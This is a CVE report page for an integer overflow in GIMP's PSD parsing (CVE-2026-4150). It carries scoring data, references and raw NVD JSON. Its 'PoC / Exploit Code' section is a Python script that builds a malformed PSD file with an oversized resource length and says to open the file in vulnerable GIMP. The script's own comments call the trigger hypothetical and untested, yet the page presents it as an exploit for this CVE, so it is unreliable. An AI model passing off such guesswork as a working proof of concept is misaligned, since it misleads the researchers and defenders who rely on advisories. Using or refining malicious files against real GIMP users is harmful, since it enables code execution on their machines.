Security Vulnerability Report
中文
CVE-2026-4150 CVSS 7.8 HIGH

CVE-2026-4150

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-14 19:32:39

Description

GIMP PSD File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PSD files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28807.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:* - VULNERABLE
GIMP (Commit 00afdab 之前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-4150: GIMP PSD File Parsing Integer Overflow # This script generates a malformed PSD file designed to trigger the integer overflow. filename = "cve_2026_4150_poc.psd" with open(filename, "wb") as f: # PSD File Header Signature f.write(b'8BPS') # Version f.write(struct.pack('>H', 1)) # Reserved (6 bytes) f.write(b'\x00' * 6) # Channels (1 = Grayscale, 3 = RGB, 4 = CMYK) f.write(struct.pack('>H', 3)) # Height and Width (Setting arbitrary values) # The vulnerability depends on specific fields, potentially resource lengths or dimensions f.write(struct.pack('>I', 100)) # Height f.write(struct.pack('>I', 100)) # Width # Depth (Bits per channel) f.write(struct.pack('>H', 8)) # Color Mode (RGB = 3) f.write(struct.pack('>H', 3)) # Color Mode Data Section Length f.write(struct.pack('>I', 0)) # Image Resources Section # Hypothetical trigger: A large length value causing integer overflow in allocation logic # Example: Setting a length that wraps around when multiplied or added to header size malicious_length = 0xFFFFFFFF # Max uint32 to potentially trigger overflow f.write(struct.pack('>I', malicious_length)) # Write dummy data to fill the file structure # In a real exploit, this data would be crafted to overwrite the return address f.write(b'A' * 0x100) print(f"[+] Generated malicious PSD file: {filename}") print("[!] Open this file with a vulnerable version of GIMP to trigger the vulnerability.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4150", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:16.560", "lastModified": "2026-04-14T19:32:38.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP PSD File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PSD files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28807."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "0866C0EF-59AE-4AB9-8D0F-7C75CD20F77E"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/00afdabdadeb5457fd897878b1e5aebc3780af10", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-217/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}